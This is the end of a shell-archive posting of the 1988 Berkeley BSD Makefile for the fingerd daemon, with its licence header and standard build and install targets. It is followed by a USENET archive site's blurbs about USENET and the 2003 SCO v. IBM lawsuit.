X# Redistribution and use in source and binary forms are permitted
X# provided that the above copyright notice and this paragraph are
X# duplicated in all such forms and that any documentation, advertising
X# materials, and other materials related to such redistribution and
X# use acknowledge that the software was developed by the University
X# of California, Berkeley.  The name of the University may not be
X# used to endorse or promote products derived from this software
X# without specific prior written permission.  THIS SOFTWARE IS PROVIDED
X# ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
X# WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND
X# FITNESS FOR A PARTICULAR PURPOSE.
X#
X# @(#)Makefile	5.1 (Berkeley) 9/19/88
X#
X
XCFLAGS=	-O
XLIBC=	/lib/libc.a
XSRCS=	fingerd.c
XOBJS=
XMAN=	fingerd.0
X
Xall: fingerd
X
Xfingerd: ${LIBC}
X	${CC} -o $@ ${CFLAGS} $@.c
X
Xclean:
X	rm -f ${OBJS} core fingerd
X
Xcleandir: clean
X	rm -f ${MAN} tags .depend
X
Xdepend: ${SRCS}
X	mkdep -p ${CFLAGS} ${SRCS}
X
Xinstall: ${MAN}
X	install -s -o bin -g bin -m 755 fingerd ${DESTDIR}/etc/fingerd
X	install -c -o bin -g bin -m 444 fingerd.0 ${DESTDIR}/usr/man/cat8
X
Xlint: ${SRCS}
X	lint ${CFLAGS} ${SRCS}
X
Xtags: ${SRCS}
X	ctags ${SRCS}
END-of-Makefile
exit

			        About USENET

USENET (Users’ Network) was a bulletin board shared among many computer
systems around the world. USENET was a logical network, sitting on top
of several physical networks, among them UUCP, BLICN, BERKNET, X.25, and
the ARPANET. Sites on USENET included many universities, private companies
and research organizations. See USENET Archives.

		       SCO Files Lawsuit Against IBM

March 7, 2003 - The SCO Group filed legal action against IBM in the State 
Court of Utah for trade secrets misappropriation, tortious interference, 
unfair competition and breach of contract. The complaint alleges that IBM 
made concentrated efforts to improperly destroy the economic value of 
UNIX, particularly UNIX on Intel, to benefit IBM's Linux services 
business. See SCO vs IBM.

The materials and information included in this website may only be used
for purposes such as criticism, review, private study, scholarship, or
research.

Electronic mail:			       WorldWideWeb:
   tech-insider@outlook.com			  http://tech-insider.org/